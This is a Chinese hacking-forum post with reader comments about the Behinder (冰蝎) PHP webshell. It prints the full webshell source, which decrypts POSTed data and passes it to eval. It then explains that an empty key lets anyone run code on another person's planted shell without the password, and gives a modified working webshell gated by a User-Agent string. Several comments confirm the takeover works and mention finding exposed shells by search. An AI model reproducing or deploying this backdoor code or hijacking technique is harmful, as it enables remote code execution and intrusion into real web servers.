冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远
冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远
下面这个是默认的冰蝎马:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
?>
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
我直接 通过 openssl_encrypt('|phpinfo();','AES128',''); 加密phpinfo。// key值 为空
然后echo 加密后的值,post 提交给冰蝎马。那么phpinfo();也会被执行成功。
造成我即使不知道密码我也能连接你的shell。
然后 稍微改一下 加一个 认证就好了。。。
我这里用ua做的认证,或者其他的也好。
使用方法就是 连接的时候把UA设置成:123321666 就可以了
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
if($_SERVER['HTTP_USER_AGENT'] == '123321666'){
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
}
?>
评论49次
我几千个冰蝎shell是不是都被你盗去做黄色网站跳转的?
这样是不是inurl:shell.php 就可以获得一堆后门...
这算是个冰蝎的后门不
想当年师傅祸害tpshop后就去吃鸡了,现在出来祸害冰蝎了。请务必继续!
还有这种操作,学到了
看完有个问题,切割 | 字符后 赋值$func=$arr; 可是func变量全场没用,这样不符合程序员的xi惯阿。
以前的马 应该是。传assert的 7.0之后不是不支持了吗…所以废弃了吧 应该是
看完有个问题,切割 | 字符后 赋值$func=$arr[0]; 可是func变量全场没用,这样不符合程序员的xi惯阿。
本机测试ok 不需要密码可以执行命令…
楼主好,我怎么没测试成功~
解密输出是|phpinfo();post过去不行麽,
弄明白怎么回事了,php5.x版本的貌似不支持
本机测试ok 不需要密码可以执行命令…
楼主好,我怎么没测试成功~
楼主帮忙看看有没有问题。4eNW1rQ1TnE2zNJbafdykw==
解密输出是|phpinfo(); post过去不行麽,
尴尬,感觉jsp有问题,就是不会整,得好好研究下
如果环境 不支持OpenSSL 扩展的话这个马不就不能用了 兼容性还是要改改
前两天刚看了一个视频也这么讲的
这样是不是inurl:shell.php 就可以获得一堆后门...
试了一下,本地7.3.4成功
这个很值得研究啊,可以复现下试试看
本机测试ok 不需要密码可以执行命令…
楼主好,我怎么没测试成功~
自己看下报错,报错显示分割的问题…肯定是你加密的原数据有问题没加| 或者加密的事,加密不是 base64。是 aes128
楼主帮忙看看有没有问题。4eNW1rQ1TnE2zNJbafdykw==
asp貌似没复现成功
这样是不是就意味着有人要被爆菊了,而且还是不少人的菊
实测还真有这个问题,赶快去改改
我是通过在原来的马的第二个else那里再加个key的判断来修复这个洞:if($key!=''){$post=openssl_decrypt($post,"AES128", $key);}。目前能正常使用 }
测了一下,真可以。貌似只有php的马能用,其他jsp的没有这个骚操作。
想当年师傅祸害tpshop后就去吃鸡了,现在出来祸害冰蝎了。请务必继续!
走啊,打穿越火线去啊
看代码还真有这问题,lz的思路是真的骚,以后工具都要用自己改的了
想当年师傅祸害tpshop后就去吃鸡了,现在出来祸害冰蝎了。请务必继续!